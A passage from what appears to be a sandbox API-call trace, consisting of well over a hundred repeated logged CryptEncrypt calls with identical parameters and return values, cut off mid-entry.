pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.608] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.608] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.608] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.608] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.608] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.608] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.608] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.608] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.608] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.608] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.608] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.608] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.608] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.609] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.609] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.609] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.611] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.611] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.611] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.611] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.611] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.611] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.611] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.611] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.611] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.611] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.611] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.611] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.611] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.611] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.611] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.611] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.611] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.611] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.611] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.611] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.611] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.611] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.611] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.612] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.612] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.612] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.612] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.612] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.612] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.612] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.612] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.612] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.612] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.612] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.612] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.612] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.612] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.612] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.612] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.612] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.612] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.612] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.612] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.612] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.612] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.612] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.613] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.613] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.613] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.613] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.613] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.613] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.613] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.613] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.613] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.613] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.613] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.613] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.613] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.613] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.613] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.613] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.613] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.613] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.613] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.613] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.613] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.613] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.613] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.614] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.614] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.614] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.614] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.614] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.614] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.614] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.614] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.614] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.614] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.614] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.614] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.614] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.614] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.614] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.614] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.614] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.614] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.615] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, 